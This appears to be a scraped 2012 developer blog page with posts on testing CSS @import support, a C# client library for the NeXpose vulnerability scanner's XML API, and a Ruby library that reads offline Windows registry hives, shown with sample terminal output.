What browsers support @import in their CSS?
I prefer the following CSS:
But not all browsers support @import. I wanted to see exactly which ones didn't so I used browsershots.org with a simple test.
Here are the results: http://browsershots.org/http://volatileminds.net/import_test.html
Black means it supports it. White means it doesn't.
<html>
<body>
<head>
<style type="text/css">
@import url(/css/style.css);
</style>
</head>
</body>
</html>
But not all browsers support @import. I wanted to see exactly which ones didn't so I used browsershots.org with a simple test.
Here are the results: http://browsershots.org/http://volatileminds.net/import_test.html
Black means it supports it. White means it doesn't.
Wednesday, January 11, 2012
Communicating with your NeXpose server via Mono/.NET
I have a public repo on github that houses my nexpose-sharp library. It is written in C# and consumes the NeXpose XML API (both 1.1 and 1.2). Here is an example of how easy it is to get all the vuln checks NeXpose has:
The library has 2 manager implementations. The above example use the 1.1 API. A NexposeManager12 class exists that inherits from NexposeManager11 (available from NeXpose 4.0) and implements the extended 1.2 API (available for NeXpose installations of 4.8+). I am currently in the process of writing some unit tests, which will be committed as soon as possible.
You can grab a copy of NeXpose Community Edition today and try it out!
using System;
using System.Xml;
using nexposesharp;
namespace nexposeclient
{
class MainClass
{
public static void Main (string[] args)
{
using (NexposeSession session = new NexposeSession("192.168.56.101"))
{
session.Authenticate("nexpose"/*user*/, "nexpose"/*password*/);
using (NexposeManager11 manager = new NexposeManager11(session))
{
XmlDocument vulns = manager.GetVulnerabilityListing();
int i = 0;
foreach (XmlNode vuln in vulns.FirstChild.ChildNodes)
{
string vulnID = vuln.Attributes["id"].Value;
XmlDocument deets = manager.GetVulnerabilityDetails(vulnID);
string title = deets.FirstChild.FirstChild.Attributes["title"].Value;
string severity = deets.FirstChild.FirstChild.Attributes["severity"].Value;
Console.WriteLine(String.Format("{0} has a severity of {1} and an id of {2}", title, severity, vulnID));
i++;
}
Console.WriteLine("\n\nTotal vulnerabilities in database: " + i);
}
}
}
}
}
The library has 2 manager implementations. The above example use the 1.1 API. A NexposeManager12 class exists that inherits from NexposeManager11 (available from NeXpose 4.0) and implements the extended 1.2 API (available for NeXpose installations of 4.8+). I am currently in the process of writing some unit tests, which will be committed as soon as possible.
You can grab a copy of NeXpose Community Edition today and try it out!
Friday, January 6, 2012
Reading offline registry hives in pure ruby
If you have ever wanted to peruse a registry hive on Linux, you know that options are really lacking. Most people wonder why you would even want to read a registry hive on Linux, but it is fairly straightforward when you think of the kind of people who will be traversing through registry hives in the first place. Forensics and reverse engineers will often run Linux.
Last night, I checked in my offline registry hive library written in Ruby. I had written a really crappy one in C# based on key signatures, rather than parsing the actual tree. This library does it correctly, by parsing the tree. It is still in its infancy, but it works well enough. You may view the code here. One day, I hope this gets merged in to the Metasploit trunk in some form or fashion. Tested on Ubuntu 11.10 on ruby 1.9.2p290 (2011-07-09 revision 32553) [x86_64-linux].
Last night, I checked in my offline registry hive library written in Ruby. I had written a really crappy one in C# based on key signatures, rather than parsing the actual tree. This library does it correctly, by parsing the tree. It is still in its infancy, but it works well enough. You may view the code here. One day, I hope this gets merged in to the Metasploit trunk in some form or fashion. Tested on Ubuntu 11.10 on ruby 1.9.2p290 (2011-07-09 revision 32553) [x86_64-linux].
root@w00den-pickle:/home/bperry/tmo/hives/ntreg-ruby# ruby ntreg.rb '\Select' ../SYSTEM
Hive name: "SYSTEM"
Found root key: CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}
The values and data of \CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}\Select are:
"Current: \x01\x00\x00\x00"
"Default: \x01\x00\x00\x00"
"Failed: \x00\x00\x00\x00"
"LastKnownGood: \x02\x00\x00\x00"
root@w00den-pickle:/home/bperry/tmo/hives/ntreg-ruby# ruby ntreg.rb '\ControlSet001\Control\Lsa' ../SYSTEM
Hive name: "SYSTEM"
Found root key: CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}
The children of \CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}\ControlSet001\Control\Lsa are:
"AccessProviders"
"Audit"
"Credssp"
"Data"
"FipsAlgorithmPolicy"
"GBG"
"JD"
"Kerberos"
"MSV1_0"
"Skew1"
"SSO"
"SspiCache"
The values and data of \CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}\ControlSet001\Control\Lsa are:
"auditbaseobjects: \x00\x00\x00\x00"
"auditbasedirectories: \x00\x00\x00\x00"
"crashonauditfail: \x00\x00\x00\x00"
"fullprivilegeauditing: \x00\x00\x00\x00"
"Bounds: \x000\x00\x00\x00 \x00\x00"
"LimitBlankPasswordUse: \x01\x00\x00\x00"
"NoLmHash: \x01\x00\x00\x00"
"Notification Packages: s\x00c\x00e\x00c\x00l\x00i\x00\x00\x00\x00\x00"
"Security Packages: k\x00e\x00r\x00b\x00e\x00r\x00o\x00s\x00\x00\x00m\x00s\x00v\x001\x00_\x000\x00\x00\x00s\x00c\x00h\x00a\x00n\x00n\x00e\x00l\x00\x00\x00w\x00d\x00i\x00g\x00e\x00s\x00t\x00\x00\x00t\x00s\x00p\x00k\x00g\x00\x00\x00p\x00k\x00u\x002\x00u\x00\x00\x00\x00\x00"
"Authentication Packages: m\x00s\x00v\x001\x00_\x000\x00\x00\x00\x00\x00"
"LsaPid: \xEC\x01\x00\x00"
"SecureBoot: \x01\x00\x00\x00"
"ProductType: \x02\x00\x00\x00"
"disabledomaincreds: \x00\x00\x00\x00"
"everyoneincludesanonymous: \x00\x00\x00\x00"
"forceguest: \x00\x00\x00\x00"
"restrictanonymous: \x00\x00\x00\x00"
"restrictanonymoussam: \x01\x00\x00\x00"
root@w00den-pickle:/home/bperry/tmo/hives/ntreg-ruby#